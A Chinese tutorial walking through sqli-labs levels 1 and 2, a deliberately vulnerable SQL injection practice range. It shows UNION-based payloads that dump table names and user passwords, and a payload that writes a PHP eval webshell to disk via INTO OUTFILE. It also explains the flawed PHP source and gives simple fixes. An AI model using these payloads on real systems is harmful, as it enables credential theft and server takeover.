SQLi靶场

SQLi靶场 less1- less2 (详细讲解)

less 1 Error Based-String (字符类型注入)

思路分析

判断是否存在SQL注入

image-20231020135348600

已知参数名为id,输入数值 单引号‘’ 双引号来判断,它是数值类型还是字符类型

首先输入 1

image-20231020140025302

发现能能正常显示,使用四则运算进一步测试。

image-20231020140128900

输入?id=4-3 发现内容有变化,判断不是数值类型SQL,继续测试字符型输入单引号

image-20231020141941459

在经过URL编码后显示为%27,发现页面出现报错信息。初步判断可能是字符型SQL语句输入两个单引号查看是否能闭合语句.

image-20231020141135258

页面有明显变化,报错信息消失,返回空信息,判断为字符型SQL注入,构造字符类型永真语句,继续测试。

image-20231020141354961

?id=' or 1=1 --+    

%27 为 单引号 URL编码, %20 为 空格 URL编码

输入字符永真POC后,回显一条数据,但是并没有爆出该字段所有信息,后端应该对此做了限制。

注入攻击

知识回顾

先了解攻击需要使用的一些函数以及mysql系统表:

order by

在SQL语法中,用于排序,SQL注入攻击中可以用于爆破字段数量

union

在SQL语法中,用于联合查询,SQL注入攻击中可用于爆破特殊信息

database()

用于返回当前正在使用的数据库的名称。

version()

用于返回当前MySQL服务器的版本号。

concat()

用于将多个字符串连接在一起。

group_concat()

将多个列连在一起

information_schema

该表为mysql的系统默认表,其中包含了关于MySQL服务器和数据库的元数据信息。这个数据库不存储用户数据,而是存储关于数据库架构、表、列、索引等信息的数据。

  1. information_schema.tables:这个表存储了有关所有数据库中的表的信息,包括表名、数据库名、表的类型(如表、视图等)、表的引擎(如InnoDB、MyISAM等)、创建时间、更新时间等。
  2. information_schema.columns:这个表包含了有关所有表中列(字段)的信息,包括列名、列的数据类型、是否为主键、是否允许 NULL 值等。
  3. information_schema.schemata:这个表列出了所有数据库的信息,包括数据库名、默认字符集、默认排序规则等。
  4. information_schema.routines:这个表包含有关存储过程和函数的信息,包括它们的名称、类型、定义等。
  5. information_schema.views:这个表包含有关视图(虚拟表)的信息,包括视图名、所属数据库等。
  6. information_schema.key_column_usage:这个表包含了关于表的外键的信息,包括外键名、所属表、所引用的表等。
  7. information_schema.table_constraints:这个表包含了有关表的约束(如主键、唯一约束等)的信息。
使用order by爆破 SELECT语句中的字段数量
?id= ' order by 4 --+  //poc

image-20231020143843414

报错字段数量,将数值继续向小的改

image-20231020144054600

数值 改成 3,发现页面变化,并没有报错,回显一个空表单,这是因为,前段查询语句是查了一个空语句,所以返回空表,查询语句如下

SELECT * FROM tables_name WHERE id='' order by 3
使用union获取用户数据、当前数据库名、版本信息

以知 原始查询语句的字段数为3,使用union来构造一个POC判断我们获取的字符数是否正确。

?id=' union SELECT 1,2,3 --+

image-20231020145651396

从中发现,回显正确,并显示我们查询了的内容,但是第一个字段好像被隐藏了,第二个、第三个字段都成功回显。

进一步爆破出用户名、当前数据库名。构造POC:

?id=' union SELECT 1,user(),database() --+

image-20231020150135017

爆破成功,这里有一点需要注意,在闭合第一个引号的时候,内部一定不要使用真值(能真实查询到的数据),因为这里系统会把默认查询到的第一行数据,优先显示到页面,在后面的源码分析中,在仔细研究其中原理。例如下面这个例子:

image-20231020150535633

我把闭合的单引号,放入了真值,直接回显了这个真值查询的数据。

爆破数据库表和列名

使用mysql的系统表information_schema来波破改数据库中已存的表名和列名。

?id=' UNION select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

image-20231020152015364

这个POC ,主要是从 information_schema.tables 表中选择了 security 数据库中的表名,并使用 GROUP_CONCAT 将它们连接成一个字符串。

然而我们可以继续对这个POC进行改造,

?id='union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image-20231020153424846

这个POC,就获取了information_schema.colunms中所有的table_name为users的所有字段

根据这个POC返回的信息,在进一步的构造POC,就能拿到敏感数据,

?id=' UNION SELECT 1,group_concat(username,ID,password),3 from users--+

image-20231020154514217

这样就已经完成了一次成功的SQL注入,并获取了敏感信息。

思路总结

在学习SQL注入时,要对SQL的语法有大致上的了解,并且越熟练越好,在进行注入前要仔细分析,它使用的什么类型的SQL语句,以便对症下药,确定类型后,如果是查询类的注入,还要去分析出源语句中,使用了几个字段,当掌握这些信息后,就开始考虑如何闭合语句。基本流程如下:

  1. 判断SQL语句类型
  2. 构造永真POC判断是否存在SQL注入
  3. 爆破源语句字段数量
  4. 爆破成功后即可进行攻击

源码分析

<?php
include("../sql-connections/sql-connect.php");
//包含上级目录的用于数据链接的php代码
error_reporting(0);
//这行代码关闭了PHP错误报告,这意味着即使代码中有错误,也不会在网页上显示错误消息。

if(isset($_GET['id']))
// 判断是否获取到GET的参数,接收到参数执行以下语句,未接收到执行报错
{
$id=$_GET['id'];
//将GET传递的参数赋值给$id
$fp=fopen('result.txt','a');
//打开一个文件result.txt以用于记录。 'a' 参数表示以追加模式打开文件,如果文件不存在,将创建一个新文件。
fwrite($fp,'ID:'.$id."\n");
// 向$fp文件内写入数据,ID 和$id的字符串拼接    
fclose($fp);
// 释放文件资源




$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//创建一个字符串变量,存储一条SQL查询语句,并把 $id 作为参数传入到语句的WHERE参数中
$result=mysql_query($sql);
//使用 $result 来接收 mysql_query($sql)函数查询的结果
$row = mysql_fetch_array($result);
// $row是一个数组变量,它使用mysql_fetch_array()来取出SQL查询结果的每一行数据

	if($row)
    //判断$row 中是否有数据,有数据则执行以下语句,没数据则执行sql报错信息
	{
  	echo "<font size='5' color= '#99FF00'>";
    //CSS样式
  	echo 'Your Login name:'. $row['username'];
    //$row数组中的 username 值
  	echo "<br>";
    //换行
  	echo 'Your Password:' .$row['password'];
    //$row数组中 password 值
  	echo "</font>";
    // css样式结束标记
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

分析该源码我发现以下问题:

  1. 在第7行使用GET方法传入的参数没有任何验证。

    • 解决办法 :对用户输出数据进行验证,并转变为需要处理的类型

    • if (isset($_GET['id']) && is_numeric($_GET['id'])) {
          //判断GET方法传入的参数是否是正确的类型
        $id = (int)$_GET['id'];
        // 确定为正确的类型在后端继续对该值再度进行转换操作
      } else {
        echo "请输入一个正确的数值.";
      }
      
  2. 在46行,使用了mysql_error() 来回显SQL的报错信息。

    • 解决办法:sql的报错信息不能暴露,应该保存在后台,前端的报错应该由管理员自己定义。

    • else {
        echo "发生错误。请稍后重试。";
        error_log(mysql_error()); // 记录错误信息到日志文件
      }
      

这里是我的才疏学浅,只能加了简单验证,但是这个验证逻辑是越复杂越好,根据实际情况去编写即可。

在之前说的在本关卡中,每次只能显示一行的数据,这是因为mysql_fetch_array()这个函数, 函数的作用是从结果集中获取一行数据,并将该数据存储在数组中,因此每次调用它都会获取一行数据。这是为了逐行处理查询结果。如果要在前段显示全部内容,就一定要在加上一个循环去打印渲染每一条语句。

less 2 Error based - Intiger based (数值类型注入)

思路分析

image-20231020161629627

判断SQL类型
一、输入数值1和四则运算判断它是不是数值类型:

输入1页面由变化,回显id=1的数据。

image-20231020161816513

输入数值四则运算4-3,查看返回结果,回显结果无变化,由此判断为数值类型SQL语句,

二、使用永真POC,进行判断是否存在SQL注入。
?id=-1 or 1=1

image-20231020162305465

输入语句后,页面没变化,无报错,该字段的值也没有全部爆出,判断大概率使用了mysql_fetch_array()函数。

OR逻辑运算符的优先级是最低的,AND逻辑运算符优先级比OR高,而NOT的逻辑运算符的优先级是最高的。

在SQL语句中 OR运算符有一个特性,当第一个条件为真时,第二个条件默认不在执行。

这是因为在这种情况下,整个 OR 表达式已经被确定为真,无论第二个条件的值如何,都不会改变整个表达式的结果。这种短路逻辑有助于提高查询性能,因为不必评估多余的条件。

三、使用ORDER BY 判断源语句字段数量
?id=-1 ORDER BY 4 #

ORDER BY 的值是4 报错了,源语句中的字段数量要少于4

image-20231020163556841

当数值是3,因为这是一条正常的语句 所以回显了id=1的数据,这代表这 SQL语句是正确的,源语句的字段数应该就是3个。

?id=1 ORDER BY 3 #

image-20231020163851340

四、使用UNION 确定字段数量
?id=-1 UNION SELECT 1,2,3 --+

在这一步需要将id的值设为假,以便测试,每个字段存在的位置。

image-20231020164359173

确定无问题,准备注入攻击。

注入攻击
一、获取用户名user()、数据库名database()
?id=-1 UNION SELECT 1,user(),database() --+

image-20231020164604218

二、使用Mysqlinformation_schema库,获取更多信息
获取数据库中的所有表名:
?id=-1 UNION SELECT 1,group_concat(table_name),database() FROM information_schema.tables WHERE table_schema=database() --+

在此处,我们使用database()替代了security,因为database()返回的值就是它。在SQL语句 函数的执行优先级高于其他语句,而且可以用于动态地获取一些信息。

image-20231020165348760

获取users中的所有字段名字:
?id=-1 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns WHERE table_name = 'users' --+

image-20231020170145024

从username、password中获取敏感信息
?id=-1 UNION SELECT 1,group_concat(username,id,password),version() from users --+

POC中 group_concat()函数中只用于隔断username和password,使得账号和密码显示的更为清楚。

image-20231020170719960

成功爆破,所有账号密码。

向数据库中注入webshell
?id=-1 UNION SELECT 1,'<?php @eval($POST[cmd]);?>',3 into outfile './web.php' --+

这个注入是有条件的,mysql数据库必须开启secure_file_priv,否则就会报错。

image-20231020171745057

secure_file_priv 是 MySQL 数据库服务器的配置选项之一,用于指定允许加载文件的安全目录。这个选项的目的是增强 MySQL 服务器的安全性,以限制用户在服务器上加载文件的位置,以防止潜在的安全风险。

具体来说,secure_file_priv 选项定义了一个目录路径,MySQL 服务器只允许用户在这个指定的目录或其子目录下加载文件。这意味着用户不能在不被允许的目录中执行文件加载操作。这有助于防止恶意用户滥用文件加载功能,执行危险的操作或访问敏感文件。

修改 my.cnf 文件,在 [mysqld] 块下,如果没有 secure_file_priv 则新增

指定目录:secure_file_priv=/path/to/data

不限目录:secure_file_priv=

禁止操作:secure_file_priv=NULL

测试需求,我们直接添加一个不限制目录的配置继续测试。

image-20231020172301959

开启secure_file_priv后重启数据库,继续测试

image-20231020172635837

发现页面错误消失了,由于我们并没有查询任何内容,所以返回空表,在测试我们的webshell有没有成功上传!

./代表本级目录,而在这里则表示上传到mysql的本级目录,它不在sqli靶场的目录,又因为跨源的问题,也没有文件包含漏洞,我们不能直接利用

image-20231020175302775

再次为了演示,就直接在注入一个webshell到sqli靶场目录中 进行测试。

?id=-1 UNION SELECT 1,'<?php phpinfo();?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php' --+

这里还要强调以下,在MySQL中,单独以个\都被会认为是一个转义字符,所以我们要对这个\ 在做一次转义 ,在加上一个\就ok了

image-20231020180202384

在MySQL中,INTO OUTFILE 是用于将查询结果写入文件的操作。它是在SELECT语句中使用的一种扩展。

这是操作的一般执行顺序:

  1. SELECT:首先,执行SELECT语句以获取结果集。
  2. INTO OUTFILE:然后,将结果集中的数据写入指定的文件,使用INTO OUTFILE子句。这个子句告诉MySQL将查询结果写入到一个文件中,该文件由路径和文件名指定。
SELECT 1,'<?php phpinfo();?>',3 INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php'

这个查询选择了三个值(1、‘<?php phpinfo();?>’、3)并将它们写入了 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\web.php' 这个文件中。

思路总结

在这一关总体思路与第一关基本一致,只不过在本关中使用的是数值内省SQL语句,在闭合语句方面不用考虑引号等关系。

介绍了mysql的一个安全配置项secure_file_priv,它是用来控制文件加载目的选项,在没有特殊要求的情况下,建议关闭该功能。

源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

本关的源码与第一关基本一致,唯一不同的点就是在 SQL语句中没有给变量$id引号。思路会院借鉴第一关的思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/105973.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

大语言模型在天猫AI导购助理项目的实践!

本文主要介绍了Prompt设计、大语言模型SFT和LLM在手机天猫AI导购助理项目应用。 ChatGPT基本原理 “会说话的AI”&#xff0c;“智能体” 简单概括成以下几个步骤&#xff1a; 预处理文本&#xff1a;ChatGPT的输入文本需要进行预处理。 输入编码&#xff1a;ChatGPT将经过预…

Postman接口测试,全网最详细教程

Postman的脚本可以导出多种语言的脚本&#xff0c;方便二次维护开发。 Python的requests库&#xff0c;支持python2和python3&#xff0c;用于发送http/https请求 使用unittest进行接口自动化测试 0 1****环境准备 1、安装python &#xff08;使用python2或3都可以&#x…

【表面缺陷检测】铝型材表面缺陷检测数据集介绍(含xml标签文件)

一、铝型材介绍 铝型材是一种由铝合金材料制成的&#xff0c;具有固定截面形状和尺寸的条形建材。由于其优良的物理性能和广泛的应用领域&#xff0c;铝型材在现代工业和生活中发挥着重要的作用。 1、铝型材的分类 根据截面形状的不同&#xff0c;铝型材可分为角铝、槽铝、工…

鉴源实验室 | AUTOSAR E2E:车载通信的安全保障

作者 | 沈平 上海控安可信软件创新研究院汽车网络安全组 来源 | 鉴源实验室 社群 | 添加微信号“TICPShanghai”加入“上海控安51fusa安全社区” 随着汽车行业逐步走向电气化、智能化&#xff0c;车载系统的软件和硬件复杂度不断上升。如何确保这些复杂系统中的数据通讯安全和…

在线设计数据库表用Itbuilder,极简易用真香!!!

“如果您想要一个具有快速搜索运行的高性能数据库&#xff0c;那么数据库设计是必不可少的&#xff0c;花时间设计数据库将帮助您避免效率低下和高冗余等问题”。 在线数据库设计软件itbuilder&#xff0c;界面清爽漂亮&#xff0c;功能简洁&#xff0c;没有多余设置很容易上手…

DevOps持续集成-Jenkins(4)

文章目录 DevOpsDevOps概述Jenkins流水线任务入门⭐Jenkins流水线任务的Hello World体验⭐Jenkins流水线语法例子Jenkins流水线语法生成器⭐ Jenkins实战4&#xff1a;构建pipeline&#xff08;流水线&#xff09;的Jenkins项目⭐项目架构图Jenkins实战4的初步流水线模板&#…

直播预告 | YashanDB 2023年度发布会正式定档11月2日,邀您共同见证国产数据库发展实践!

11月2日&#xff0c;YashanDB 2023年度发布会将于云端直播开启&#xff0c;发布会以 「惟实励新」 为主题&#xff0c;邀请企业用户、合作伙伴、广大开发者共同见证全新产品与解决方案。届时发布会将在墨天轮社区同步进行&#xff0c;欢迎大家报名&#xff01; 惟实求真。Yasha…

redis中的io多线程(线程池)

文章目录 redis多线程模型redis为什么引入I/O多线程I/O多线程模型 源码解析测试设置连接建立数据传输线程调度开启io线程startThreadedIO关闭io线程stopThreadedIO redis多线程模型 redis为什么引入I/O多线程 Redis 的性能瓶颈在网络 IO 的处理上。Redis 是网络 IO 密集型&am…

《ATTCK视角下的红蓝对抗实战指南》一本书构建完整攻防知识体系

一. 网络安全现状趋势分析 根据中国互联网络信息中心&#xff08;CNNIC&#xff09;发布的第51次《中国互联网络发展状况统计报告》&#xff0c;截至2022年12月&#xff0c;我国网民规模为10.67亿&#xff0c;互联网普及率达75.6%。我国有潜力建设全球规模最大、应用渗透最强的…

雪糕冰淇淋经营配送小程序商城效果如何

雪糕冰淇淋是很多年轻人喜欢的食品之一&#xff0c;市面上的雪糕品牌类型众多&#xff0c;销售模式主要为厂家批发、经销商零售等&#xff0c;由于雪糕冰淇淋的易化性&#xff0c;很多用户会选择就近购买&#xff0c;但制作技术升级和长途冷藏技术下&#xff0c;网购成为另一种…

建模仿真软件 Comsol Multiphysics mac中文版软件介绍

COMSOL Multiphysics mac是一款全球通用的基于高级数值方法和模拟物理场问题的通用软件&#xff0c;拥有、网格划分、研究和优化、求解器、可视化和后处理、仿真 App等相关功能&#xff0c;轻松实现各个环节的流畅进行&#xff0c;它能够解释耦合或多物理现象。 附加产品扩展了…

基于Java的电动车实名挂牌系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09; 代码参考数据库参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…

NLog详解

目录 1.简介 2.项目中使用NLog 2.1 快速使用NLog 2.2 通过配置文件使用NLog 3.NLog配置参数详解 3.1 全局配置 3.2 根元素 3.2.1 targets 3.2.1.1 layout 3.2.2 rules 3.2.3 extensions 3.2.4 include 3.2.5 variable 4.附录 1.简介 NLog是一个基于.NET平台编写…

minio + linux + docker + spring boot实现文件上传与下载

minio docker spring boot实现文件上传与下载 1.在linux上安装并启动docker2.在docker中拉取minio并启动3.Spring Boot 整合 minio4.测试 minio 文件上传、下载及图片预览等功能 1.在linux上安装并启动docker 检查linux内核&#xff0c;必须是3.10以上 uname ‐r安装docker…

基于aop 代理 Sentinel Nacos配置控制包装类实现原理

基于aop & 代理 & Sentinel & Nacos配置控制包装类实现原理 Hi&#xff0c;我是阿昌&#xff0c;今天记录下看sentinel源码结合业务实现的思路基于aop & 代理 & Sentinel & Nacos配置控制包装类实现原理&#xff1b;下面并不会手把手的记录方案的实现…

绿野仙踪不仅是童话,还是便宜又好用的产品测试法!

以 ChatGPT 为代表的大语言模型爆火后&#xff0c;推动了对话类人工智能产品的高速发展&#xff0c;我们已经看到了如智能助理、问答系统、自动写作等多种类型的个性化对话类 AI 服务。 AI 能力的提升让人们对智能 AI 产品的期望越来越高&#xff0c;相关产品的用户体验也因此变…

基于springboot实现校友社交平台管理系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现校友社交平台管理系统演示 摘要 校友社交系统提供给用户一个校友社交信息管理的网站&#xff0c;最新的校友社交信息让用户及时了解校友社交动向,完成校友社交的同时,还能通过论坛中心进行互动更方便。本系统采用了B/S体系的结构&#xff0c;使用了java技…

PPT文档图片设计素材资源下载站模板源码/织梦内核(带用户中心+VIP充值系统+安装教程)

源码简介&#xff1a; PPT文档图片设计素材资源下载站模板源码&#xff0c;作为织梦内核素材资源下载站源码&#xff0c;它自带了用户中心和VIP充值系统&#xff0c;也有安装教程。 织梦最新内核开发的模板&#xff0c;该模板属于素材下载、文档下载、图库下载、PPT下载、办公…

疯狂java 三-六章

第三章 数据类型和运算符 Java语言是强类型语言&#xff0c;意思是每个变量和每个表达式都有一个在编译时就确定的类型&#xff0c;所有的变量都必须显式声明类型 标识符就是类&#xff0c;变量、方法命名的符号 标识符不能包含空格 标识符只能包含美元符($)&#xff0c;不…

python自动化测试平台开发:自动化测试平台简介

一.测试平台简介 为什么需要测试平台 已有的开源测试平台不能满足需要&#xff0c;不要轻易造轮子 需要公司级别的定制 需要整合公司内部的多套平台 例子&#xff1a;DevOps平台、精准化测试平台、质量监控平台等等 常见的测试平台开发模式 大一统模式&#xff08;适合简单的…
最新文章